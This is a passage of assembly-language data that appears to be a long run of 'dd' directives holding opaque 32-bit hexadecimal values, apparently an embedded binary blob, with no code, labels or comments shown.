dd 0E3820A73h, 582F262Eh, 58BED000h, 210F37Eh, 69E0BF80h
dd 8DD4468Ah, 0A074020Eh, 50137D09h, 0B01E005Ch, 114B9487h
dd 0E43AE021h, 0C010003Ah, 0B4292E0Eh, 0DBC307E5h, 0B0481732h
dd 0BB46B33Ch, 6B00E2F0h, 5AA2F9BFh, 49655Fh, 479430Bh
dd 4CCA7831h, 2000E698h, 76324D58h, 0EE476113h, 957C002Eh
dd 0D8363930h, 1B776ACDh, 0B60017B8h, 4A53E8Eh, 584D5Ah
dd 5E2D48Fh, 93D30A29h, 0BF00CB7Ah, 0C1901512h, 7850B346h
dd 9443072Ch, 117ABC49h, 0C0F78498h, 3000540h, 8788021h
dd 0E8F0110h, 0EAA90750h, 0FE09BBC1h, 0E9D260CAh, 0B1793113h
dd 2078E700h, 3E429C7Ah, 8880C6C1h, 0C0219829h, 832E084Eh
dd 2D00F9FAh, 2E10BD87h, 40B73F95h, 96DFA6h, 5B0799F3h
dd 6DEE9118h, 3AEA29F4h, 454CB190h, 0CC51007Bh, 0FC14A13Eh
dd 2CC41C0Bh, 50EB80C2h, 875C1175h, 88649002h, 0E353798Ch
dd 42123C7Eh, 31BCECBCh, 0C3431C8Fh, 4C442000h, 84790F3Ch
dd 18937C0Eh, 804D4F22h, 896F5C91h, 0B440016Dh, 290E5228h
dd 7972E820h, 22351803h, 0B985ADF4h, 8AE04B2Dh, 302C0ED4h
dd 0DC60A9D3h, 32FC3143h, 33F98700h, 0F124E50Bh, 0F57C03CBh
dd 0A7133026h, 0C13B7B98h, 32A9201Eh, 3342F680h, 3955E8h
dd 6F1D6B6Eh, 71205B77h, 0F43AA702h, 0C075304Ah, 76968CBh
dd 587F8470h, 0C3E4435Ch, 6007E8C3h, 0EC100146h, 6404B290h
dd 0F0F251h, 725411D8h, 736E6103h, 74656D00h, 437C19B6h
dd 775727Bh, 0DC34916Fh, 54CC429Dh, 8AABD540h, 320B9501h
dd 5C19580Ch, 0F8EB60D1h, 984662A5h, 0C627018Eh, 86774B85h
dd 2370E80Eh, 72116F01h, 75C47488h, 0F2C7E0h, 3641378h
dd 45287C14h, 780521Fh, 0DC008496h, 0E8C0C68Fh, 570400ABh
dd 32517353h, 76765652h, 0FAB32F04h, 218068DBh, 1624884h
dd 17A915Dh, 0EC18203Ah, 0FC1C89A2h, 3C5FA468h, 559F8CC0h
dd 4D0390h, 0C87D8194h, 716E6547h, 1B6F7500h, 1E69EF12h
dd 90493B9Eh, 0AF942785h, 70FE808Dh, 331F8471h, 41C069EBh
dd 0D6874F9h, 94101C38h, 0A3634724h, 30451ABh, 9152E4EBh
dd 3C755803h, 90784989h, 772D5C0Fh, 8E8F0733h, 102A6461h
dd 0EB024124h, 8248110Eh, 0F8832080h, 9565095h, 0B657E90Eh
dd 0A524807Dh, 0D0FDC2h, 9CBD2A2Fh, 8C463F4Fh, 1A029100h
dd 0B0ACB878h, 0F2957622h, 0E85D0088h, 0DD27771Fh, 0C1007B69h
dd 873DF441h, 50D3622h, 3E25C889h, 4B8C042h, 0F03F6373h
dd 80C3BB84h, 0E0833074h, 88480Fh, 0D9E5D553h, 0B1AB39CAh
dd 1AB2E90Eh, 0ED9B432Ch, 0A41FB022h, 2F3077Fh, 30B62A12h
dd 1A93867h, 59510A0Fh, 658FA0B8h, 1C1745FEh, 7F06BD80h
dd 5FC1759Eh, 40A21D66h, 5121DD84h, 43008D8Ah, 2B52A19h
dd 0CB7516h, 69307659h, 80E06704h, 0E9E46D00h, 4CD2AA13h
dd 0DBA41F7Eh, 0B39002Ah, 0B0A5DACFh, 0F9708A00h, 0C114EE6Ah
dd 557097D5h, 0E53E901Dh, 8F079C5Dh, 5480A808h, 282993h
dd 915BA5A7h, 45A9664Ah, 5D00067Ah, 0AA4085A6h, 4B829AEh
dd 2B641F03h, 0B6AB8072h, 0BEE8BA08h, 0C3CDCFBh, 0C2408E03h
dd 83CA81C6h, 8705E0CEh, 18ED009Ah, 4C331E45h, 48000666h
dd 10EBC1F6h, 18F44E0Fh, 0AECF25AAh, 4301B738h, 1E3F7EA1h
dd 0E1D08A11h, 30AEE96h, 5A607CB1h, 45A8C5EAh, 157AE66Bh
dd 0ACE22A1Fh, 0DE0F5280h, 16ABA8D2h, 35EEC80h, 5B7A592Ah
dd 19CD58A8h, 8C55D800h, 0E89F51B9h, 0B7280016h, 5CBA0B4Eh
dd 4801FBC9h, 1B8D108Bh, 0A6D8E974h, 0FC7540h, 0AD9B914h
dd 354A5C20h, 44008874h, 73102B74h, 7658B2AEh, 0BC30E717h
dd 1C0D0059h, 0EBB0404Bh, 1A075E65h, 21322A54h, 0ACA41040h
dd 0B34500A7h, 0B4114E6Ch, 98F019C9h, 9C3040BDh, 1E5700B6h
dd 8C3DA1BCh, 0C000BEA0h, 7D258D13h, 73B30A2h, 0B5F8FB8Bh
dd 0C0FA67A3h, 22C33657h, 0D2C94D00h, 8CBFECFh, 17AB0082h
dd 0EA34DC5Dh, 87002C45h, 597E294Bh, 1184A1Bh, 0BA9444CBh
dd 0F732B937h, 78921207h, 6E9473E4h, 3582CA09h, 0B1404D54h
dd 30FD3896h, 285C0CFCh, 83090115h, 5054A4C4h, 0FECB59C4h
dd 0B08D0016h, 0BA2DC935h, 7E0EEE24h, 0C0501FCFh, 0A016484Fh
dd 5EA30096h, 8771D7D4h, 0D87E85F4h, 1CDC0800h, 0B1569FA2h
dd 869400E4h, 0D3FB1F55h, 0E800951Ah, 0C8DC633Fh, 1100B26h
dd 3D801499h, 2AE15B18h, 0A4EFB0h, 98CE92BFh, 7E591277h
dd 0B409C401h, 25A656A3h
dd 0F26AC9CCh, 0C8CD002Fh, 8821AF1Ch, 191ECA9Bh, 99C0A543h
dd 0DF09D611h, 0BEE85C10h, 0F101330Fh, 3BFFA6Eh, 221A390Ah
dd 0F8442AA9h, 0EB00883Ch, 5C61976h, 2601E7A0h, 0FA96DE5h
dd 4321DFA4h, 0D15B20A8h, 0E152D1ACh, 4249E0B0h, 0E65B800h
dd 391048BCh, 0CC00059h, 0C4908529h, 156719C8h, 54F02006h
dd 722CCh, 3209D081h, 0CB60C41Bh, 4F2EAA00h, 0AB4E104Dh
dd 4BDC0FDEh, 0FF0FB0E6h, 3B00E2EBh, 65AC82EDh, 923B5F00h
dd 0FC0A7185h, 0D27E9564h, 0F02CF406h, 0B7EC0076h, 0DFFE3862h
dd 6A3E4307h, 0E432005Bh, 0DDE01472h, 42120045h, 2934CC06h
dd 1EE42D83h, 5C1A0102h, 0E0406F2Ch, 0B0A26E1Ch, 0C5CC00C3h
dd 0ED540C51h, 0E7A9333h, 8DA56600h, 9D35EF40h, 14EEAE8h
dd 8FDDCEEAh, 0D4C709D2h, 0C60FE099h, 0E02AB67Ah, 0D62B49AEh
dd 2F580051h, 3DC255D0h, 11DBD03h, 0DC005C77h, 64BCD3B7h
dd 0F9532610h, 80FD0001h, 870D048Fh, 0BF2A9E03h, 0A04FA86Bh
dd 0AC6865h, 40C683D1h, 0B0F8608h, 1448C0EEh, 0A5AD0063h
dd 642D24FBh, 580203F5h, 76DB850Ch, 21C144C0h, 4BCD8600h
dd 0BC7C247Fh, 0EF07A4Ah, 56107005h, 3D0C36E3h, 0DF5144D8h
dd 6E297A00h, 8833022Bh, 75080042h, 1643C394h, 0E047953h
dd 122147E8h, 7F90B6C0h, 519800A2h, 2E1E25E2h, 8000F6F0h
dd 0DD3C7869h, 1D2A38D2h, 55204h, 0C981D868h, 7E0010B4h
dd 0BFEB6582h, 3BB0925h, 4B594CE0h, 56A8F05Ah, 72006116h
dd 48ADF846h, 2D9F7Bh, 4BE70193h, 0D7A7D4FBh, 7906C3Eh
dd 0E46EF854h, 0DDEBBD51h, 703AC70h, 44BCCCF7h, 78E6304Bh
dd 11007F6Fh, 64DFCEE9h, 731724B4h, 886A0758h, 0D06023D6h
dd 0C4709472h, 0BE27D21Fh, 68950C0h, 4F0CAEh, 2F22F114h
dd 244EC8DDh, 0E4082112h, 8C6C8000h, 2CFEF084h, 0CAEE65h
dd 1625DCF4h, 3400AA11h, 6A9488F3h, 0ABCF4Fh, 54801B6Ch
dd 7765AD7Bh, 31C56800h, 2C59958Dh, 57EF1DB0h, 6B5C7F1h
dd 0F79CF70Dh, 12AFA14Eh, 0EBD0DC69h, 3A294100h, 8D8263BCh
dd 0F87885h, 1975809Ah, 92D2FCF4h, 0D1411300h, 0FEEC5D43h
dd 9DD000E4h, 5F0B0879h, 50E41E5Bh, 856D7100h, 0F7659784h
dd 1294004Ah, 2224CA1Dh, 5C0B0810h, 80727453h, 0A5AB2D16h
dd 0ED750027h, 6918A4E4h, 0C0008906h, 0A7BBA8A9h, 4A82BEh
dd 30145D0Dh, 6D6F431Ch, 34876500h, 712C0A73h, 880B39ECh
dd 0C170C400h, 0D34E7909h, 8064523Fh, 2BD01884h, 0BA40F22h
dd 28447291h, 4C9D7B80h, 0D30E3770h, 0E0D8A5BBh, 25876C33h
dd 927900DEh, 12633018h, 0C848D48Bh, 0ACBC00F4h, 178DB6C4h
dd 0E031FAC2h, 0ECB2002Fh, 69540BCAh, 0EA0F4556h, 24985980h
dd 0A2800C89h, 0B87212h, 56AD536Ch, 30C88ADCh, 0E445400h
dd 6765354Ch, 0E109005Ah, 0C95BC370h, 4B017468h, 0E0F82930h
dd 27D8ABF2h, 87640018h, 6BC58E6Dh, 0C8F72873h, 0B200D142h
dd 0B14F2610h, 9055E5h, 947AC427h, 814475Ah, 0D6D18001h
dd 0EA25F46h, 6016CCh, 295CC595h, 2EB06488h, 90E34B16h
dd 0DCC47F00h, 7C44D148h, 0ABF07EDh, 40B36965h, 12B47542h
dd 806C643Fh, 30D2520Ch, 72EB8F6h, 14257669h, 8B59165h
dd 24FC4E0h, 16B0F5Ch, 4E7685Fh, 0D7F8D4C6h, 31A1866h
dd 88104619h, 0C8064301h, 1890141Bh, 2E9104E0h, 73A381Ch
dd 50AE961Ah, 0D27CB865h, 29339F00h, 13AB9C4Ah, 1038000Fh
dd 2E642B25h, 14F02703h, 87D2AD00h, 53588011h, 0FB478B1h
dd 2190DF3Eh, 5CC0A74Eh, 3181779Dh, 0F80BF0BFh, 79E107D9h
dd 0E0B8AC2Ah, 0D234150Ah, 2B00257Ch, 0EDBBC044h, 588AD620h
dd 0D3004703h, 0D501B5A7h, 0B8008302h, 0AE3D4FFBh, 0FA34D4h
dd 0E2C87232h, 0C9128937h, 8CB7D901h, 0F188A18Bh, 5562D0h
dd 9C01451Bh, 0D35B279Fh, 80FB1D3Ah, 504108D1h, 32A5251h
dd 0EB1069ECh, 588864C2h, 3C00B3EAh, 5E575684h, 38A473h
dd 0C29887E9h, 145A52E6h, 369FB40Eh, 0BF2B0Fh, 8E1F3EACh
dd 471000Bh, 0FD27CCFEh, 5F01AF12h, 38EA1CD1h, 0C0D44754h
dd 34560039h, 0FF3A3374h, 811ECC76h, 470EC322h, 0BA805D4Ch
dd 809044Dh, 3C0F0370h, 6F7788B1h, 298BB6B8h, 69DE7503h
dd 0FA99554Bh, 3654E00Ch, 2B4300AFh, 0A5D4459Fh, 0AD010576h
dd 1912BEF4h, 0F0D0A2E2h, 15261D90h, 8043DE0Eh, 0C1695D8Ch
dd 2A019402h, 0EC881CF4h, 9630F0CEh, 0F03B7D8Eh, 0C0E0047h
dd 7E2146D2h, 0A1ED4A7h, 5000D76Ch, 0DEC8D5A6h, 0D9A50077h
dd 0CEB62A4h, 3F002171h, 1711DBA7h, 686C6Ah, 74D83BC0h
dd 0AECB8316h, 0A6F70400h, 4512A028h, 0C26A00F0h, 4FDF77E3h
dd 290024ABh, 48165D4Bh, 0B00C06C3h, 0CE090C9Ch, 66B23908h
dd 0D7CA890Eh, 907A8085h, 0FF0AA6h, 1184872h, 6CC1EBCEh
dd 595C2300h, 0E26A90E5h, 3A8100A0h, 2E1977D0h, 6F009B89h
dd 4B2BC48Ch, 88FBC2h, 0B483075Bh, 0FFB09281h, 0EE604504h
dd 5700CC17h, 5882FEE9h, 58474048h, 2E10033h, 0C1F5FA2Ch
dd 6B5E0175h, 0A0F168D8h, 2D6320C4h, 0DCA13C00h, 1F061CE3h
dd 7EBD0043h, 4194D48h, 0FA008001h, 5302BB05h, 3C32EBh
dd 9D2CAF41h, 27450618h, 82206A60h, 7A28AFEh, 4C50FF5h
dd 0C7838088h, 541F4802h, 95C0CF43h, 13C144Dh, 0D9495C30h
dd 34D9AA00h, 8448E36Bh, 3DC93200h, 0B95E882Fh, 12760391h
dd 3B7421BAh, 72FC3AF0h, 6A838C00h, 0C7F2F449h, 0B2900010h
dd 30393DD6h, 96007370h, 0BFC28BD2h, 0E698FEh, 0C6126CF4h
dd 5D4A2404h, 935B801h, 3B5564BAh, 0E0FCADF5h, 0FE840042h
dd 0F3C07489h, 0B405ED33h, 5F77087Eh, 0E681C280h, 0FE103B8Ch
dd 830F1B9Eh, 0DBAB0DDFh, 7C89CEB8h, 47174A00h, 0E388559Fh
dd 0B19011h, 8BA71F0Dh, 8577F8BAh, 81A09E4Ah, 115F00D0h
dd 0C53B2BF1h, 2C022452h, 0FF6AE477h, 0B6D5E054h, 0B9D400DBh
dd 86E7226Ch, 7E7D7428h, 52897F05h, 0BE0092ADh, 1D8D70EBh
dd 661A1D98h, 850580D6h, 28215346h, 4D75E207h, 40903E9Ch
dd 6132CBh, 6F881931h, 0E655697h, 6AE91F05h, 0D60E03AEh
dd 0C622E005h, 0AB2550h, 121DA511h, 0AF0A5406h, 1244C00h
dd 77714FDh, 68FE6303h, 5E05B8Ah, 5F3B5D62h, 0A25A03B3h
dd 0F3BE4BD1h, 9FEAA0A4h, 0FD130025h, 4E7FDED9h, 10F688EFh
dd 41CC2000h, 22496F5Bh, 196A00D8h, 92F53942h, 54015DE7h
dd 0C0A38C1Bh, 0A5EC452Dh, 18D4011Ah, 64F3CF3Fh, 0B8F0D860h
dd 0C4DA1400h, 5309FF65h, 5AEE0Fh, 0AA2BBB25h, 0A4290532h
dd 44EC3700h, 8DBABF9Bh, 0AC3F00FEh, 6E0FD4C7h, 5800EF32h
dd 19F7EAA7h, 0F8BD7076h, 223B00D7h, 2C683603h, 2E008D66h
dd 0C74543E4h, 0EA8271h, 7802F45Fh, 33CAE055h, 0BD49F300h
dd 30AE2040h, 17DC0053h, 0E251606Fh, 230722D8h, 68D413C0h
dd 0DEE7A627h, 0D0C4A3E0h, 6F730348h, 9BCCA251h, 8FE87AEBh
dd 763BC812h, 1AF50710h, 0B7D7C429h, 0C0F1A8D1h, 0C81BD3FCh
dd 0B8C0BC4Eh, 77C1D05Fh, 0B4451F9Eh, 1E42B036h, 4303B022h
dd 148D7A37h, 0E8DBE3ACh, 3EA878D4h, 1FF49C8Bh, 5F4DA4D1h
dd 884740BDh, 0DEB790A0h, 0C19C4CC8h, 12E74398h, 0A5691094h
dd 0F75C2C00h, 84DA04D8h, 12EEFE4Eh, 7BFD5C4h, 943DA9ACh
dd 61BBC007h, 40004E70h, 2571626Bh, 3B691C65h, 0FF007775h
dd 57ADCC67h, 0BC002C9Eh
dd 0DAE74272h, 0C34316h, 0EB22354Eh, 1D6CD5CCh, 13D895h
dd 3768B8B9h, 0C5648DBh, 0D8BD0B00h, 41FA4E4h, 5FE800D6h
dd 0E3FE0146h, 0E2F4297Eh, 0F44D6200h, 17B11E9Ch, 0A5C00ACh
dd 4FF2C727h, 1B002910h, 0DA6CB74Ah, 3E3BA908h, 5F8346C2h
dd 0EE58E276h, 515EB5E0h, 30E1F43Ah, 3E1378D4h, 0A8BC0020h
dd 0DA9057A2h, 8504DC36h, 341D0425h, 53DD6FC0h, 0F982008Fh
dd 0E9A7AAA3h, 4B005DC9h, 5B30D398h, 78E83Dh, 0F7700651h
dd 0D91E148h, 0A3184700h, 3D83438Ch, 0C9FEA2h, 0ECC28EF4h
dd 0DBF12124h, 3A14538h, 6838801Ah, 0AAAA875h, 94431FFDh
dd 6E90004h, 0C525A2D9h, 0E88660E3h, 2AD0AF60h, 0FC2336h
dd 6E3BBF7h, 1DF8682Fh, 0A0F4EA00h, 86C42B13h, 0A11C0721h
dd 0C1768528h, 0F4176984h, 7007A41h, 954DBE5h, 0B44AE3h
dd 9E151AA0h, 0CA2B89B6h, 458BD401h, 952AA2B8h, 1D6B0F20h
dd 40E2F343h, 4B2FDC3Dh, 970192FBh, 7C67F55Dh, 71F07908h
dd 89AF0F84h, 34228CD4h, 0E3E35465h, 87EB50EBh, 25FF16F8h
dd 0C0F84400h, 1C401099h, 478E003Ch, 91342338h, 2C00C830h
dd 247228E4h, 0E21C2039h, 18412D8Eh, 3F30D4h, 0A4C4B4A6h
dd 3E6D29DDh, 5002814h, 94E8F35Ah, 0B5F2BF4Fh, 8404D000h
dd 0B05F76D2h, 0C9440081h, 5DA1708Ah, 8000FC01h, 2EFF0B7Ch
dd 0FED175h, 7D3944BDh, 4C740482h, 9B3FEB00h, 7B8AF19h
dd 0D0C10080h, 40B2E937h, 13009839h, 29D8B60Fh, 3BF7750Ah
dd 5C0AE0BFh, 1E964E35h, 0CB02C121h, 0E8A5E983h, 410072FBh
dd 880F7F0Ch, 2402C4Ch, 75CAFE0Dh, 0AFC0DAA3h, 0B10023F9h
dd 6E22DDABh, 0B540F6h, 51E29456h, 2DC5BE53h, 69DE0F2Eh
dd 0E72CC400h, 0F8D2B8CCh, 0BE190175h, 0C7D9BA29h, 8205D4ADh
dd 4A10700h, 182B376Ch, 1688006Bh, 22F35EDEh, 531C4FD7h
dd 0EDD2C220h, 7998B900h, 28FF6B26h, 0BC2CA6h, 0C7031E14h
dd 0A406D950h, 7E0CBF1Dh, 0D82B0D47h, 4AC0F8D7h, 422ABE3h
dd 2C71C582h, 0E4888032h, 8900141Fh, 2E051043h, 1060Ch
dd 667F6854h, 3D53004h, 0DF6EC800h, 0C6097D60h, 6B484805h
dd 62842Eh, 7C7A90FEh, 0BD0A6ADFh, 0F61DC6FBh, 0B7452501h
dd 0D520A67Bh, 64D5037Eh, 5F107CEEh, 96700AD8h, 0E7AE3507h
dd 4FE05A14h, 3E2016ACh, 180A9FBh, 0A897E8ECh, 0D3F87556h
dd 0B2EB8E00h, 0AA055F71h, 58531750h, 0C8ACF047h, 0B39F1400h
dd 374A0460h, 8C661FAAh, 0C73E1CCEh, 0FEEC71Dh, 2E35A6A0h
dd 0BC00C9BFh, 81100540h, 41878h, 7554D7B1h, 0C2A4AC15h
dd 77A4848h, 81274A58h, 0F3EB2053h, 0B204D085h, 145C77D7h
dd 0CD0EC862h, 2CF82401h, 0CD5EC390h, 1EF2E074h, 0CCE1A300h
dd 80ED6A29h, 4B021E2Eh, 0D8AA4016h, 0E2B7428Eh, 38D4923Fh
dd 66A28010h, 25439F0h, 7A8600E8h, 0EE8AC8E0h, 0CD00AF42h
dd 0F00D217Fh, 1EAA106Ah, 0FFFDA55h, 0C3A00A2Fh, 0CB8362C6h
dd 8065DF39h, 11B3E882h, 9545F02h, 3C995C31h, 0D95EC000h
dd 0E80B9C13h, 80C15274h, 699208CAh, 0B963398Dh, 4AB68000h
dd 18201514h, 7AA20C01h, 4352DF90h, 973477E5h, 9CE47Dh
dd 0E8C28B30h, 0A73D322Ah, 16032500h, 59396491h, 0B66E390Ch
dd 0FE701080h, 131ED48h, 87E86700h, 46BA44Dh, 88E422h
dd 0A8903419h, 80282429h, 0E0103D02h, 0C0135074h, 0FBBB9E3h
dd 0D75B059Eh, 5CA7F320h, 0F7044C0Bh, 0C139E034h, 2E4E9980h
dd 92D0006Fh, 40A5C779h, 0D400CF7Fh, 64882238h, 4B5073h
dd 4C20AA52h, 0D60CBED8h, 21AE2701h, 3F2C8F16h, 1CF5CD4h
dd 5ABB4A3Ch, 307B71ABh, 8000019Ch, 742DFC78h, 0B8D71Eh
dd 135DB2A4h, 0DE2F0451h, 4F5A8000h, 0E16A88C6h, 34E252h
dd 6789D877h, 0E5D7B8A7h, 6500C275h, 2EE19608h, 1E58595Bh
dd 0BA64354Bh, 825AB501h, 0F4D0D727h, 0F000ADE9h, 0EB3F19A8h
dd 8AE705h, 0BC84A663h, 5C766AE1h, 0E810C004h, 0FAC04607h
dd 12D11Bh, 47653D1Dh, 0E688554h, 8ECE3EFAh, 0CFABAA50h
dd 0BA4F241Fh, 0F8E8BCC0h, 19DA6600h, 4F0B2A51h, 0C95C00CFh
dd 44B942C2h, 0BA1E4813h, 825FD378h, 3C7A9882h, 1CA66032h
dd 36DC00B8h, 130EBF15h, 71011A74h, 64FDBBBAh, 0DF61EB7Fh
dd 0FE2FF4h, 0B2799554h, 0A7D3A45Ah, 0A35B9800h, 6E200775h
dd 47741C6Fh, 7B80BC66h, 144450D1h, 45004840h, 30204F4Ch
dd 3E7355h, 3A69572Eh, 0ACDE6874h, 0B498C4A0h, 3B498700h
dd 92F0D5AFh, 29F700FBh, 0EFE388C5h, 0FC00A23Ch, 351B9886h
dd 2F9CB8h, 0EB4E90E2h, 8B3301C0h, 4967C807h, 0ABF4BA3Ch
dd 2B736980h, 0A8420020h, 0FEA32D9Fh, 62002C03h, 0A75D253h
dd 0A54494h, 0E38F8BDDh, 49F3C755h, 3CF8F970h, 800CFC3Dh
dd 7CA3853Eh, 4AF1ABD5h, 58B812h, 0E233545Bh, 8D49D2h
dd 22F7EE4Dh, 0D5E42878h, 694EF900h, 0F17F7B32h, 19C23E5Fh
dd 0F22BD101h, 0C008BCF5h, 4900414Dh, 5246204Ch, 1C3AF04Fh
dd 40885BEDh, 0B047DE9Ah, 1509A1E2h, 14008E4h, 205450DEh
dd 5E4FE0h, 1CCCA3Ah, 0DD0814E8h, 0D85D8900h, 0EE4E3250h
dd 698F05AFh, 0C09FFF4Bh, 8D62F40Dh, 0D7D1E500h, 94D9A4C7h
dd 75FA0F92h, 0C01C655Eh, 0BAFC0A4Dh, 0AB00E5B4h, 3B63F059h
dd 3EC3064h, 0C429C314h, 77BB4418h, 0F622CAF0h, 0D443BA00h
dd 0A137C99Dh, 0B8CF00A7h, 2173BE1h, 25B0C1ECh, 0E6004298h
dd 6B2CAB38h, 470FF4h, 94688D8Bh, 3B42406Eh, 0A701DC03h
dd 0D857CBF3h, 0B441C14h, 0D8A65441h, 4612F880h, 6D07C861h
dd 205C8725h, 0F4FBFFE0h, 88090028h, 7F977553h, 2A008DADh
dd 8A2C144Ch, 922BDFh, 2D5E2858h, 32B3C9E5h, 0F3781600h
dd 616CC82Fh, 6E3E0069h, 68631D3Bh, 1F0072D6h, 493DC024h
dd 2D4F53h, 7535E238h, 4C315639h, 0E21293Dh, 40437ACBh
dd 45E5ED66h, 6F633BF4h, 67706480h, 62382C8Ah, 0F627561Eh
dd 53F45881h, 97E47D91h, 70830F7Eh, 8525E6C8h, 5FE983C9h
dd 0B725D5B8h, 1092D400h, 0EC4F6A7Fh, 0D32300B4h, 0E6CF62D6h
dd 0A531266Fh, 686ECCFFh, 35343D0h, 4CE7A3B8h, 9FE96958h
dd 5251F8F4h, 38F7EF00h, 39829794h, 3A413CE7h, 881400F3h
dd 0A484C06Ch, 103F2A8Bh, 8A88F40h, 3839A042h, 701AAF0h
dd 4A4784Ch, 0F61560AFh, 501C820h, 30C16590h, 0AF81910h
dd 0F36FE29h, 0CA08C060h, 2D81CC69h, 0F42B2C05h, 957D5A64h
dd 4D282703h, 0B81DD9E2h, 0E46EC161h, 0A560073h, 70DDB898h
dd 663F5269h, 804036Ch, 0A04650A1h, 0EC37Ch, 0B6D7EBE8h
dd 8D8157B4h, 320780E2h, 1C54B09Ch, 1E0E405Eh, 0F194E9F5h
dd 154FD0FBh, 73E3B06Bh, 483C019Ah, 743E7F6h, 670C86Fh
dd 44ED7900h, 5D977854h, 3484000Ah, 5817DAF9h, 0D40AF791h
dd 0E57538A0h, 0A26D2A00h, 717464h, 8D704C52h, 453CAE72h
dd 39403Ch, 0D05F5089h, 5BBD94h, 75488555h, 7D8AF9F6h
dd 742FE73Fh, 0FEFFF800h, 173EF82h, 2E90B63h, 0F38065D9h
dd 888B1BA0h, 956F7400h, 28692C91h, 0DF034C5Ah, 0D91FE905h
dd 92038099h, 2000686Ah, 0FD858D55h, 0B8BE81DFh, 0D8F60B3Ah
dd 8500A101h, 492F8A7Eh, 57281707h, 1DC095ECh, 750A5B9h
dd 16294A7Bh, 5FB43025h, 0AB0090EAh, 0C449C60Eh, 1AD93680h
dd 404C6728h, 8DE959E0h, 8E73297Bh, 592D3Bh, 0FB3AE571h
dd 4E182Ah, 0C9825CA6h
dd 0F51A8D89h, 0F0FC8700h, 5768BDA2h, 9F7A3C96h, 0F8423180h
dd 49BF14EAh, 1DEB1903h, 0C388C892h, 0FB83AB90h, 57ED00Ch
dd 61300FB8h, 0E7E0558Dh, 0AF918696h, 0C32D321Dh, 82C8C0CAh
dd 60C4A00h, 26D858Ah, 25ECB5BBh, 18E01844h, 6E00EB2Ch
dd 0A7D04936h, 1D28E6h, 1AC83C42h, 0CB24C90h, 2958241Eh
dd 399E82C0h, 76481730h, 2E2D0064h, 0EB50B11Ch, 8E00BBD6h
dd 0BD800A65h, 0B88269h, 203FFA6Ch, 0BADAF8Bh, 4B214E01h
dd 0E15E0CB3h, 0E73ECh, 804F3332h, 6B447629h, 0F8CA5D1Ch
dd 0E88010DEh, 0C55765E3h, 0B0200B5h, 5EEB8C68h, 4500DA0Fh
dd 0EAFF8995h, 78E9AF74h, 55A7011Dh, 598AC47h, 5C06607Dh
dd 4B00DAF2h, 2C3E20CEh, 1D921CD2h, 0C0D5C9E9h, 93C8F9D3h
dd 0E8FAD8FDh, 0A4F9B750h, 689D3B00h, 0A879AF2Fh, 1CC9043h
dd 0CB8588Ah, 0E4E54020h, 0C17CA7C8h, 0AF7A4807h, 0E9C0D90Fh
dd 1F64F5A4h, 6629EEh, 8F100E8Ah, 500A5ECh, 3101B9EDh
dd 3EA263D5h, 0D803C6Dh, 0B4E14CDAh, 61003FECh, 0AFBC683Eh
dd 40DB14h, 9E97E805h, 0F77BF6FDh, 0ECCC1112h, 14F45A00h
dd 0F816A037h, 0D8450084h, 9F89AB25h, 0D97906BAh, 0B8EE6902h
dd 43F28D4Bh, 0B794E063h, 10520220h, 0F3D76D7Bh, 770E8960h
dd 9DD96900h, 0ECE4AF02h, 24F57945h, 4A9216h, 6ABE5A7Ch
dd 2C704ED1h, 4F880E00h, 5122036Eh, 72710066h, 5660A06Dh
dd 64002567h, 21F8966Ch, 79C9534Fh, 8A936734h, 458EDE1Eh
dd 25AFB4A0h, 0F700ABD4h, 0EDCF16D5h, 784AEA7h, 31EFBB83h
dd 0B09E6039h, 0BA00280Dh, 69B1EDE4h, 50FC60h, 1DA2838Bh
dd 0C64507FDh, 9012DD00h, 0BCC8B01Ah, 21C01E11h, 22C44FACh
dd 0CC21F032h, 0A4D04400h, 0D8D44086h, 0CA00189h, 12E081DCh
dd 0C03E719Ch, 680084E8h, 90B48521h, 3F032ECh, 0D51AC435h
dd 8BD86CB0h, 0AA3C064Bh, 0D96A9E89h, 0B6AB4580h, 0D6C447h
dd 0F84E2EEDh, 951B3C8h, 70C47550h, 25290209h, 0CBAD8078h
dd 0FE32AD61h, 42140063h, 50628864h, 8E676973h, 3F838A10h
dd 937C9C5h, 8FBC4h, 50C15C6Bh, 0A685EF41h, 589F4403h
dd 0C0E23DA4h, 4CF7F6h, 0F8324AF9h, 434838CFh, 0CCAA2700h
dd 335DE10Dh, 20F076Eh, 31A6FFB8h, 0C819F8E9h, 1B5CDD7Ch
dd 4C0B00A9h, 0DBF3489Bh, 621F3F69h, 4E62B8Eh, 0B6700F80h
dd 102BA25h, 68B0A27Bh, 0AF4FE0F4h, 0D427012Fh, 75330518h
dd 0A013D0CDh, 0B3DDEF1Fh, 49741BC0h, 1AEC57Ch, 753AAC68h
dd 0CCA16D48h, 81003CEFh, 266AFBD7h, 0A09C4Ch, 420D312Dh
dd 2409940Ah, 13C4400h, 6B40716Dh, 3FC50060h, 5CE6B033h
dd 2D3B18A5h, 5BF78009h, 468BEA08h, 9102022Eh, 2CB90B78h
dd 534B8F40h, 76008778h, 0D1D77F2h, 8F010h, 8C022249h
dd 53140446h, 38838001h, 2F26D49Eh, 206A30h, 3C705B9Fh
dd 0F233B85Fh, 0CFC40B00h, 79084725h, 0F8D1EAD3h, 0FE8CFE84h
dd 4B98038Ah, 0A01636A3h, 608657C7h, 424611ACh, 8771EC0Eh
dd 20A18E10h, 0E6F5DE14h, 0B394001Ah, 82E8950Fh, 0B90001E0h
dd 0B7AE53DDh, 9078764Ch, 416900DAh, 0B416E421h, 0E31E6891h
dd 198345DCh, 98E02C10h, 78C6CA1h, 84DE3388h, 0BAE3C0A2h
dd 77006355h, 790A9CABh, 1700BF0h, 1B22F34Bh, 0E7EA1415h
dd 57C0CBC3h, 8500E118h, 0C1A5AEDCh, 3014C210h, 0FB22958Bh
dd 3D0053D8h, 0A0654827h, 60683C49h, 18E7AE05h, 500037F7h
dd 5514A2A1h, 7674129Ah, 9E210076h, 1CA4D822h, 95032991h
dd 0B81A118Bh, 1873884Ch, 0D485020Ah, 0C9A2437h, 892727E0h
dd 0CEA4FC00h, 0A8CDC61Dh, 21C3000Dh, 0AC903C29h, 0E400B0C8h
dd 19B43240h, 441CB8h, 7EBC4386h, 7C87A684h, 0C4548906h
dd 1AC812h, 91CC214Ch, 28BF48D0h, 0B6D9500h, 5B9038Bh
dd 2B363D96h, 2CDFD400h, 3CD7AD8Eh, 8D711718h, 5A39ECh
dd 3E98B2BAh, 99285295h, 513EACB8h, 8370147h, 218E428Fh
dd 0C6E5E8h, 7DB15EBDh, 4A8513F2h, 0D70669FCh, 0BA120523h
dd 8BE7002Eh, 533509D0h, 570040DCh, 39717064h, 4A6C6Ah
